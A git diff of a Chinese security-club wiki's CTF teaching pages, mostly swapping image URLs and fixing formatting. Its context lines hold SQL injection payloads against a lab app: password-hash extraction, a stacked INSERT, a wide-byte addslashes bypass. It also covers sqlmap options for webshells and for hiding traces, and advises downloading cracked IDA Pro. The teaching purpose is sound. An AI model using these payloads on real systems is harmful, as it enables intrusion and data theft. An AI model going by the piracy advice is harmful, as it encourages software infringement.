-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbAKreqEeZxOYQuQMtZbd9d.png) +![](https://cdn.xyxsw.site/boxcnbAKreqEeZxOYQuQMtZbd9d.png) 很显然,`#` 号将原本语句的 `';` 注释掉了 @@ -166,9 +166,9 @@ mysql> select group_concat(id,username separator '_') from users; `raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniDohuM3F8FbMqz7YSC0Y5g.png) +![](https://cdn.xyxsw.site/boxcniDohuM3F8FbMqz7YSC0Y5g.png) -真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值! +**真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值!** 那么到这里 SQL 注入你就已经完全学会了,接下来做一些小练习吧。 @@ -273,7 +273,7 @@ if __name__ == "__main__": 接下来我们进行一次常规查询 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) +![](https://cdn.xyxsw.site/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) 可以看到我们成功从数据库中查出了 `username` 和 `password`,并显示在返回中 @@ -293,7 +293,7 @@ def query(username): ... ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) +![](https://cdn.xyxsw.site/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) 可以看到,实际执行的语句为 @@ -307,7 +307,7 @@ SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' 构造语句 `123' UNION SELECT DATABASE(), @@version;#` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) +![](https://cdn.xyxsw.site/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) 我们就能看到返回中包含了当前数据库名与当前数据库版本 @@ -317,13 +317,13 @@ SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' > `information_schema` 库是一个 MySQL 内置数据库,储存了数据库中的一些基本信息,比如数据库名,表名,列名等一系列关键数据,SQL 注入中可以查询该库来获取数据库中的敏感信息。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkwvSnhKBhlHNLOSthgul9d.png) +![](https://cdn.xyxsw.site/boxcnkwvSnhKBhlHNLOSthgul9d.png) 我们可以发现,当前数据库中还存在一张叫 `secret` 的表,让我们偷看一下里面存的是什么 构造语句 `123' UNION SELECT 1, secret_string FROM secret;#` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) +![](https://cdn.xyxsw.site/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) 好像得到了什么不得了的秘密 :-) @@ -363,7 +363,7 @@ if __name__ == "__main__": 这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2seUNESHkLC9PYvDp0vFbe.png) +![](https://cdn.xyxsw.site/boxcn2seUNESHkLC9PYvDp0vFbe.png) 那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 :-( @@ -396,7 +396,7 @@ else: > rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) +![](https://cdn.xyxsw.site/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) 这里实际执行的语句就变成了 @@ -404,13 +404,13 @@ else: SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0); ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJ3jImTQcMUOWJclTACj74e.png) +![](https://cdn.xyxsw.site/boxcnJ3jImTQcMUOWJclTACj74e.png) ```sql SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0); ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) +![](https://cdn.xyxsw.site/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) 也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来 @@ -480,9 +480,7 @@ if __name__ == "__main__": exp() ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXyMaLh26lkNuAPiQVHuaNg.png) - -#### +![](https://cdn.xyxsw.site/boxcnXyMaLh26lkNuAPiQVHuaNg.png) #### 时间盲注 @@ -523,7 +521,7 @@ if __name__ == "__main__": 如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndxf4WEQQQEXspS7GwNKI6J.png) +![](https://cdn.xyxsw.site/boxcndxf4WEQQQEXspS7GwNKI6J.png) 但,真的没办法了吗? @@ -600,7 +598,7 @@ if __name__ == "__main__": exp() ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsStdHC5VmBylyx6S7hakEb.png) +![](https://cdn.xyxsw.site/boxcnsStdHC5VmBylyx6S7hakEb.png) ### 基于报错的 SQL 注入 (TODO) @@ -640,7 +638,7 @@ if __name__ == "__main__": main() ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) +![](https://cdn.xyxsw.site/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) 这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来 @@ -671,9 +669,9 @@ MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/ `Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrMIc2m6oubxC86CEtw1jMe.png) +![](https://cdn.xyxsw.site/boxcnrMIc2m6oubxC86CEtw1jMe.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVRdntvakiTpt7nP8JhKKfc.png) +![](https://cdn.xyxsw.site/boxcnVRdntvakiTpt7nP8JhKKfc.png) INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 @@ -776,28 +774,26 @@ INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 `addslashes()` `id=0%df%27%20union%20select%201,2,database();` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaRtyUGC0sX3btnFIgpDCob.png) +![](https://cdn.xyxsw.site/boxcnaRtyUGC0sX3btnFIgpDCob.png) ### information_schema 被过滤 在 SQL 注入中,`infromation_schema` 库的作用无非就是可以获取到 `table_schema, table_name, column_name` 这些数据库内的信息。 -#### - -##### MySQL 5.6 的新特性 +#### MySQL 5.6 的新特性 在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表,`innodb_index_stats` 和 `innodb_table_stats`,两张表都会存储数据库和对应的数据表。 因此,从 MySQL 5.6.x 开始,有了取代 `information_schema` 的表名查询方式,如下所示 ```python -select table_name from mysql.innodb_index_stats where database_name=database(); -select table_name from mysql.innodb_table_stats where database_name=database(); +select table_name from mysql.innodb_index_stats where database_name=*database*(); +select table_name from mysql.innodb_table_stats where database_name=*database*(); ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbMtjAq8osStjcSbFuIdDSc.png) +![](https://cdn.xyxsw.site/boxcnbMtjAq8osStjcSbFuIdDSc.png) -##### MySQL 5.7 的新特性 +#### MySQL 5.7 的新特性 由于 `performance_schema` 过于发杂,所以 MySQL 在 5.7 版本中新增了 `Sys schema` 视图,基础数据来自于 `performance_chema` 和 `information_schema` 两个库。 @@ -808,11 +804,11 @@ select table_name from mysql.innodb_table_stats where database_name=database 其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式 ```sql -select table_name from sys.schema_table_statistics_with_buffer where table_schema=database(); -select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database(); +select table_name from sys.schema_table_statistics_with_buffer where table_schema=*database*(); +select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=*database*(); ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnV68mdIQmovJwczDsOc53gc.png) +![](https://cdn.xyxsw.site/boxcnV68mdIQmovJwczDsOc53gc.png) ### 无列名注入 @@ -820,7 +816,7 @@ select table_name from sys.x$schema_table_statistics_with_buffer where table_sch `select a,b from (select 1 as a, 2 as b union select * from users)x;` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) +![](https://cdn.xyxsw.site/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) ## 超脱 MySQL 之外 (TODO) @@ -848,13 +844,13 @@ select table_name from sys.x$schema_table_statistics_with_buffer where table_sch ### Gorm SQL 注入 -# 数据库注入工具 SQLMAP 及其高级使用指南 +## 数据库注入工具 SQLMAP 及其高级使用指南 > 这里不讨论诸如 -u 这种简单参数 -## 一些特殊参数 +### 一些特殊参数 -### -r [文件名] +#### -r [文件名] 当你从 Burp 之类的工具中发现了 数据库注入的痕迹 @@ -866,7 +862,7 @@ select table_name from sys.x$schema_table_statistics_with_buffer where table_sch 对你传入的报文的目标进行自动化的 sql 注入 -### --sql-shell +#### --sql-shell 在摸索到 数据库注入的时候 生成一个交互式的数据库注入 @@ -878,7 +874,7 @@ Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的 > 尤其是写了半天发现引号对不上等等 -### --os-shell +#### --os-shell 一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限,写入 webshell 文件 的原理拿到对方机器的 shell @@ -886,13 +882,13 @@ Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的 因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web -### --random-agent +#### --random-agent 一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显 可以用这个消磨一下自己的痕迹 -### --second-url +#### --second-url 对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权(?) @@ -900,7 +896,7 @@ Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的 但是对于简单的一些二次注入,可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。 -### --technique +#### --technique 技巧 指定 sqlmap 使用的注入技术 @@ -925,13 +921,13 @@ Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨 那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率 -### --dbms +#### --dbms 指定对应的数据库类型 Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库 -### --hex +#### --hex 以十六进制来进行注入的技巧 diff --git a/6.计算机安全/6.1Web安全.md b/6.计算机安全/6.1Web安全.md index ab4323b..86f789c 100644 --- a/6.计算机安全/6.1Web安全.md +++ b/6.计算机安全/6.1Web安全.md @@ -1,87 +1,93 @@ -# Web入门指北 +# Web 入门指北 -> 本文来自HGAME Mini 2022 Web 入门材料,目的是为了帮助新生更好的入门Web安全。 +> 本文来自 HGAME Mini 2022 Web 入门材料,目的是为了帮助新生更好的入门 Web 安全。 ## 0x00 前言 -本文希望为对Web感兴趣的同学提供在入门方向上的指导,以便与更加平滑的入门Web方向的学习。 +本文希望为对 Web 感兴趣的同学提供在入门方向上的指导,以便与更加平滑的入门 Web 方向的学习。 -## 0x01 Web安全基础 +## 0x01 Web 安全基础 -### Web安全是什么 +### Web 安全是什么 -首先Web安全是CTF比赛一直以来都很重要的一部分,CTF比赛目前主体还是Jeopardy解题模式,主要分为Web安全,Re逆向工程,Pwn,Crypto密码学,Misc安全杂项五个方向。相比于Re和Pwn两个二进制方向,Web安全在初期入门时门槛较低,并不需要太多对底层知识的了解,对小白也较为友好,能够比较快速的上手做题。 +首先 Web 安全是 CTF 比赛一直以来都很重要的一部分,CTF 比赛目前主体还是 Jeopardy 解题模式,主要分为 Web 安全,Re 逆向工程,Pwn,Crypto 密码学,Misc 安全杂项五个方向。相比于 Re 和 Pwn 两个二进制方向,Web 安全在初期入门时门槛较低,并不需要太多对底层知识的了解,对小白也较为友好,能够比较快速的上手做题。 -虽然Web安全入门门槛比较低,但是不得不承认需要学习的技术栈很多,在说起你经常听闻的Java、Php、Go、Javascript等种种语言之前,我们先来看看Web应用的发展史,理解一下Web应用是什么。 +虽然 Web 安全入门门槛比较低,但是不得不承认需要学习的技术栈很多,在说起你经常听闻的 Java、Php、Go、Javascript 等种种语言之前,我们先来看看 Web 应用的发展史,理解一下 Web 应用是什么。 -### Web发展史 +### Web 发展史 -> 这段发展史可能有很多名字不太好懂,但是提到这一段发展史是希望你能够对Web技术的发展过程有个框架性的理解,如果有很多困惑的地方可以多多使用搜索引擎,这篇[文章]()写的很详细也可以阅读一下~ +> 这段发展史可能有很多名字不太好懂,但是提到这一段发展史是希望你能够对 Web 技术的发展过程有个框架性的理解,如果有很多困惑的地方可以多多使用搜索引擎,这篇[文章]()写的很详细也可以阅读一下~ -最初的Web应用是静态页面,托管在ISP(Internet Service Provider)上,主要就是比较简单的文字,图片,当时能做的也就是简单浏览网页。而后有了Flash等多媒体技术,网页的功能开始逐渐丰富,音视频和网页的动态交互也让网页开始能够完成更多的事,给用户更好的体验。再随着CGI(Common Gateway Interface)的产生,CGI是Web服务器和外部应用程序的通信接口标准,Web服务器就可以通过CGI执行外部程序,再通过外部程序根据请求内容生成动态内容。再之后随着PHP/JSP等编程语言的加入,MVC思想、REST(Representation State Transformation)架构风格的产生,Web应用开发技术也逐步变化,直到如今,Web应用的开发技术主要分为前端和后端。**简单来说,前端就是用户直接可以看见的部分,比如说我们访问百度,百度页面上面的搜索框、按钮、logo,搜索后展示的网页文字和内容,这些都是属于前端的范畴;而后端主要是用户看不见的部分,比如在百度上搜索Vidar-Team,会能根据搜索内容返回相关的文章,这就是后端所做的部分**。 +最初的 Web 应用是静态页面,托管在 ISP(Internet Service Provider) 上,主要就是比较简单的文字,图片,当时能做的也就是简单浏览网页。而后有了 Flash 等多媒体技术,网页的功能开始逐渐丰富,音视频和网页的动态交互也让网页开始能够完成更多的事,给用户更好的体验。再随着 CGI(Common Gateway Interface) 的产生,CGI 是 Web 服务器和外部应用程序的通信接口标准,Web 服务器就可以通过 CGI 执行外部程序,再通过外部程序根据请求内容生成动态内容。再之后随着 PHP/JSP 等编程语言的加入,MVC 思想、REST(Representation State Transformation) 架构风格的产生,Web 应用开发技术也逐步变化,直到如今,Web 应用的开发技术主要分为前端和后端。**简单来说,前端就是用户直接可以看见的部分,比如说我们访问百度,百度页面上面的搜索框、按钮、logo,搜索后展示的网页文字和内容,这些都是属于前端的范畴;而后端主要是用户看不见的部分,比如在百度上搜索 Vidar-Team,会能根据搜索内容返回相关的文章,这就是后端所做的部分**。 -### Web应用的数据是如何交互的 +### Web 应用的数据是如何交互的 -> 非常推荐查看MDN文章[万维网是如何工作的](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works)和[浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work)详细了解一下~ +> 非常推荐查看 MDN 文章[万维网是如何工作的](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works)和[浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work)详细了解一下~ -而Web应用的数据是如何交互的呢?为什么用户输入`https://vidar.club`访问协会官网后浏览器上就会呈现页面呢? +而 Web 应用的数据是如何交互的呢?为什么用户输入`https://vidar.club`访问协会官网后浏览器上就会呈现页面呢? ![What happens when you visit a URL](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/1.png) -当我们在浏览器的地址栏中输入`https://vidar.club`后,首先会做的事情是DNS查询,浏览器会去寻找页面资源的位置,也就是寻找这个域名对应的ip地址是多少。因为ip地址的格式为xxx.xxx.xxx.xxx,这对于一个用户并不容易记住,因此我们用形象的域名来让用户记住网址,你看,`vidar.club`就比`1.117.117.147`这个ip好记太多了吧。浏览器根据域名`vidar.club`向DNS服务器查询对应ip地址,得到响应对应ip地址为`1.117.117.147`。 +当我们在浏览器的地址栏中输入`https://vidar.club`后,首先会做的事情是 DNS 查询,浏览器会去寻找页面资源的位置,也就是寻找这个域名对应的 ip 地址是多少。因为 ip 地址的格式为 xxx.xxx.xxx.xxx,这对于一个用户并不容易记住,因此我们用形象的域名来让用户记住网址,你看,`vidar.club`就比`1.117.117.147`这个 ip 好记太多了吧。浏览器根据域名`vidar.club`向 DNS 服务器查询对应 ip 地址,得到响应对应 ip 地址为`1.117.117.147`。 -而当浏览器知道了服务器的IP地址后,就会与服务器进行TCP三次握手,三次握手机制是用来让两端尝试进行通信,之后为了让链接更加安全,就会进行TLS协商。你看我们输入的是`https://`,这表明我们使用了https协议进行访问,http协议的数据传输是明文的,这并不安全,而https使用ssl/tls协议进行加密处理,这会让访问变得安全。顺带一提如果使用http访问协会官网也会强制使用https哦,可以试一试`http://vidar.club`。当三次握手和TLS协商完成后,我们就已经和服务器建立了安全连接啦。 +而当浏览器知道了服务器的 IP 地址后,就会与服务器进行 TCP 三次握手,三次握手机制是用来让两端尝试进行通信,之后为了让链接更加安全,就会进行 TLS 协商。你看我们输入的是`https://`,这表明我们使用了 https 协议进行访问,http 协议的数据传输是明文的,这并不安全,而 https 使用 ssl/tls 协议进行加密处理,这会让访问变得安全。顺带一提如果使用 http 访问协会官网也会强制使用 https 哦,可以试一试`http://vidar.club`。当三次握手和 TLS 协商完成后,我们就已经和服务器建立了安全连接啦。 -建立安全连接后,浏览器会向服务器发送HTTP Get请求,请求服务器返回我们事先放在服务器上面的对应网页的内容,这个请求的内容通常是一个HTML文件,而当服务器受到请求后,就会使用相关的响应头和HTML的内容进行回复。 +建立安全连接后,浏览器会向服务器发送 HTTP Get 请求,请求服务器返回我们事先放在服务器上面的对应网页的内容,这个请求的内容通常是一个 HTML 文件,而当服务器受到请求后,就会使用相关的响应头和 HTML 的内容进行回复。 -浏览器收到服务端的200 OK的HTTP响应,收到服务端发过来的HTML文件后,会处理HTML标记并且构建DOM树,最终就形成了你看到的页面啦。 +浏览器收到服务端的 200 OK 的 HTTP 响应,收到服务端发过来的 HTML 文件后,会处理 HTML 标记并且构建 DOM 树,最终就形成了你看到的页面啦。 -HTTP请求和响应的具体内容可以使用浏览器(推荐使用Chrome、Firefox或Edge)的F12开发者工具进行查看,打开f12后选择网络并且刷新页面捕获请求,点击这个vidar.club就可以看到啦。 +HTTP 请求和响应的具体内容可以使用浏览器(推荐使用 Chrome、Firefox 或 Edge)的 F12 开发者工具进行查看,打开 f12 后选择网络并且刷新页面捕获请求,点击这个 vidar.club 就可以看到啦。 -![Chrome的开发者工具图1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/2.png) -![Chrome的开发者工具图1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/3.png) +![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/2.png) +![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/3.png) -## 0x02 Web安全入门 +## 0x02 Web 安全入门 ### 我是零基础小白,从什么开始好呢? > 万丈高楼平地起 -虽然在Web安全的技术栈中,会比较少的提及C/C++安全的问题,更多的都是一些你经常听说的Java、Php等语言的安全问题,不过如果你目前是没有任何编程基础,协会也同样推荐打好基础,先好好学习C语言。对于没有编程基础的你,从C语言这样一门接近底层的高级语言开始学习可以更好学习计算机内部原理,并且学会C语言后有一定的编程基础,入门其他语言也绝非难事。 +虽然在 Web 安全的技术栈中,会比较少的提及 C/C++安全的问题,更多的都是一些你经常听说的 Java、Php 等语言的安全问题,不过如果你目前是没有任何编程基础,协会也同样推荐打好基础,先好好学习 C 语言。对于没有编程基础的你,从 C 语言这样一门接近底层的高级语言开始学习可以更好学习计算机内部原理,并且学会 C 语言后有一定的编程基础,入门其他语言也绝非难事。 -### Web技术栈 +### Web 技术栈 -首先需要明确的是,Web安全和Web开发是分不开的,并不是说对安全感兴趣就不需要懂开发,恰恰相反,开发是安全的基础,如果没有开发能力,在之后学习中面对一些代码审计也会感觉到非常茫然,所以学习Web安全之前首要的就是先学习Web开发。而Web开发的学习路线在学长们身上大多不是很固定,有的人接触到的Web开发的第一门语言是PHP,PHP虽然在现在看来已经不是一门优秀的语言了,后端开发的主流技术栈已经是Java和Go了,但是PHP仍然是一门在安全学习上非常推荐的语言,有很多历史漏洞可以让大家更好的入门。也有的学长最先开始接触的是Go/Java/Js,那如果你已经有一定Web开发基础,可以直接参考下面的学习路线与学习资料,如果你还没有Web开发基础并且认为C语言已经学的不错了,就可以尝试选择一门自己感兴趣的语言进行学习,并且尝试自己写一些感兴趣的Web应用,比如搭建一个博客,写一个Todolist用来记事等等,兴趣是最好的导师,一边写自己感兴趣的Web应用一边学习是非常不错的。 +首先需要明确的是,Web 安全和 Web 开发是分不开的,并不是说对安全感兴趣就不需要懂开发,恰恰相反,开发是安全的基础,如果没有开发能力,在之后学习中面对一些代码审计也会感觉到非常茫然,所以学习 Web 安全之前首要的就是先学习 Web 开发。而 Web 开发的学习路线在学长们身上大多不是很固定,有的人接触到的 Web 开发的第一门语言是 PHP,PHP 虽然在现在看来已经不是一门优秀的语言了,后端开发的主流技术栈已经是 Java 和 Go 了,但是 PHP 仍然是一门在安全学习上非常推荐的语言,有很多历史漏洞可以让大家更好的入门。也有的学长最先开始接触的是 Go/Java/Js,那如果你已经有一定 Web 开发基础,可以直接参考下面的学习路线与学习资料,如果你还没有 Web 开发基础并且认为 C 语言已经学的不错了,就可以尝试选择一门自己感兴趣的语言进行学习,并且尝试自己写一些感兴趣的 Web 应用,比如搭建一个博客,写一个 Todolist 用来记事等等,兴趣是最好的导师,一边写自己感兴趣的 Web 应用一边学习是非常不错的。 ## 0x03 学习资料与学习路线推荐 -- 兔兔的sql注入小游戏 - 招新群中的迎新机器人具有一个blog功能,这个blog功能存在一个sql注入的漏洞,通过漏洞查询出数据库中的flag可以找管理员兑换一杯奶茶哦~(支线任务x) +- 兔兔的 sql 注入小游戏 + 招新群中的迎新机器人具有一个 blog 功能,这个 blog 功能存在一个 sql 注入的漏洞,通过漏洞查询出数据库中的 flag 可以找管理员兑换一杯奶茶哦~(支线任务 x) - 搭建博客 - 博客可以记录自己的学习过程与经历,也可以当作一个Web应用开发的小练习 + 博客可以记录自己的学习过程与经历,也可以当作一个 Web 应用开发的小练习 - 刷题 - 如果你想一边学习Web开发一边做做题目,感受一下Web安全,可以在协会的招新训练平台上面做做题目,要是毫无头绪也可以问问学长学姐们哦~训练平台上的题目可以帮助你更好的入门CTF! + 如果你想一边学习 Web 开发一边做做题目,感受一下 Web 安全,可以在协会的招新训练平台上面做做题目,要是毫无头绪也可以问问学长学姐们哦~训练平台上的题目可以帮助你更好的入门 CTF! - 学习资料 面对网络各式各样的学习资料,这些网站和书籍会对你入门有所帮助 - - [MDN 网络文档](https://developer.mozilla.org) - - [Web 安全学习笔记](https://websec.readthedocs.io) - - [CTF wiki](https://github.com/ctf-wiki/ctf-wiki) - - [HTML CSS 基础](https://www.w3cschool.cn/) - - JS:《JavaScript DOM编程基础》 - - C:《C Primer Plus》 - - PHP:《PHP和MySQL Web开发》 - - Python: 《Python从入门到实践》的入门部分 - - HTTP:《图解HTTP》 - - 《从0到1:CTFer成长之路》 - - 《白帽子讲Web安全》 - 上面提到的书协会都有哦,欢迎有空的时候来协会看书自习! + - [MDN 网络文档](https://developer.mozilla.org) + - [Web 安全学习笔记](https://websec.readthedocs.io) + - [CTF wiki](https://github.com/ctf-wiki/ctf-wiki) + - [HTML CSS 基础](https://www.w3cschool.cn/) + - JS:《JavaScript DOM 编程基础》 + - C:《C Primer Plus》 + + ::: tip 📥 + 《C Primer Plus》(第六版中文版)(216MB)附件下载 + ::: + + - PHP:《PHP 和 MySQL Web 开发》 + - Python: 《Python 从入门到实践》的入门部分 + - HTTP:《图解 HTTP》 + - 《从 0 到 1:CTFer 成长之路》 + - 《白帽子讲 Web 安全》 + + 上面提到的书协会都有哦,欢迎有空的时候来协会看书自习! - 学习路线 - 可以根据上面提到的学习资料和协会的2022提前批招新标准进行个人学习路线的规划,这份Github上很火的[Web Roadmap](https://github.com/hideraldus13/roadmap-do-desenvolvedor-web)也可以参考一下。 + 可以根据上面提到的学习资料和协会的 2022 提前批招新标准进行个人学习路线的规划,这份 Github 上很火的[Web Roadmap](https://github.com/hideraldus13/roadmap-do-desenvolvedor-web)也可以参考一下。 ## 0x04 最后 > 勿以浮沙筑高台 -欢迎对Web安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 招新群中提问哦,祝你在Web安全的学习道路上越走越远~ +欢迎对 Web 安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 招新群中提问哦,祝你在 Web 安全的学习道路上越走越远~ `VIDAR{Web_1s_3asy_t0_st4rt!!}` diff --git a/6.计算机安全/6.2.1基础工具的使用.md b/6.计算机安全/6.2.1基础工具的使用.md index 0524324..c43d386 100644 --- a/6.计算机安全/6.2.1基础工具的使用.md +++ b/6.计算机安全/6.2.1基础工具的使用.md @@ -1,12 +1,303 @@ # 基础工具的使用 -# IDA pro +IDA pro(交互式反编译器专业版)是二进制安全研究人员必备的反汇编、反编译工具,功能繁多而强大,反编译结果清晰明了。 -IDA pro (交互式反编译器专业版)是二进制安全研究人员必备的反汇编、反编译工具,功能繁多而强大,反编译结果清晰明了。 - -## 安装 - -IDA pro 是收费软件,价格极其昂贵,一般人买不起,因此可以到各大网站下载破解版,注意到一些知名网站下载,比如吾爱破解等,防止下载的软件包含病毒。在编写此文时,IDA pro 更新到了 8.0,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。 +IDA pro 是收费软件,价格极其昂贵,一套完全版人民币 10W 左右,因此可以到各大网站下载破解版,注意到一些知名网站下载,比如吾爱破解等,防止下载的软件包含病毒。在编写此文时,IDA pro 更新到了 8.3,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。 ## 简易使用方法 -待更新~ + +> 本文档仅作快速入门,更加细节的内容还请读者查阅其他资料以及多加实践。 +> +> 另外在任何使用上操作的问题,都可以在群里提问! + +### 0x00 IDA 简单介绍 + +![](https://cdn.xyxsw.site/image-20220809113855166.png) + +IDA 是一款交互式反汇编和反编译工具,其支持文件类型和文件平台丰富。 + +可静态分析也可动态调试,可以说是二进制手的吃饭工具了 + +### 0x01 启动界面 + +![](https://cdn.xyxsw.site/image-20220809114834244.png) + +```txt +NEW:打开 IDA 同时弹出对话框选择要打开的文件 +Go:单独打开 ida,打开界面将文件拖入 +Previous,或者下面的列表项:快速打开之前的的文件 +``` + +这里选择 Go 键,打开以后,将文件拖入 + +![](https://cdn.xyxsw.site/image-20220809124156697.png) + +![](https://cdn.xyxsw.site/image-20220809124408179.png) + +这里按我们的默认选项点击 OK 即可 + +### 0x02 关闭界面 + +![](https://cdn.xyxsw.site/image-20220809125554853.png) + +:::tip +第一个选项:就是不打包数据包文件,那么这些数据库文件就会分开这放。 + +第二个选项及图中选项:就是把这几个数据库文件打包为 1 个 (如.i64 文件),下次打开我们分析的文件的时候,打开这个文件即可。 + +第三个选项:不会删掉数据库文件,而是打包压缩到存储的文件里面去了。 + +下面两个选项 +第一个选项:回收垃圾,如果打包文件太大了,可以选用这个选项,清理不必要的内存 + +最后一个选项:当分析时候写错了,选中最后一个,最后一次打开的操作不保留了。(解决错误操作) +::: + +### 0x03 主界面 - IDA View&Pseudocode + +反汇编代码的图表窗口 + +![](https://cdn.xyxsw.site/image-20220809130857159.png) + + 按**空格键**切换成文本结构的反汇编 + +![](https://cdn.xyxsw.site/image-20220809130940294.png) + + 按**F5**进行反编译跳转至`Pseudocode`(伪代码) 界面 + +![](https://cdn.xyxsw.site/image-20220809131038284.png) + +然后就可以分析代码逻辑了 + +直接点击函数名可以进入到对应函数内部查看函数逻辑 + +### 0x04 主界面 - Hex View + +十六进制窗口 (不太常用) + +![](https://cdn.xyxsw.site/image-20220809132027773.png) + +### 0x05 主界面-Structures + +结构体窗口 + +![](https://cdn.xyxsw.site/image-20220809132130778.png) + +### 0x06 主界面-Enums + +枚举类型界面 + +![](https://cdn.xyxsw.site/image-20220809132242739.png) + +### 0x07 主界面-Imports + +导入表 + +可以查看当前模块用了哪些模块的哪些函数 + +![](https://cdn.xyxsw.site/image-20220809132327043.png) + +### 0x08 主界面-Exports + +导出表 + +![](https://cdn.xyxsw.site/image-20220809151050575.png) + +### 0x09 主界面-Strings + +按`Shift+F12`转到`String`界面,该操作会搜索程序中的字符串数据并展示 + +![](https://cdn.xyxsw.site/image-20220809153126737.png) + 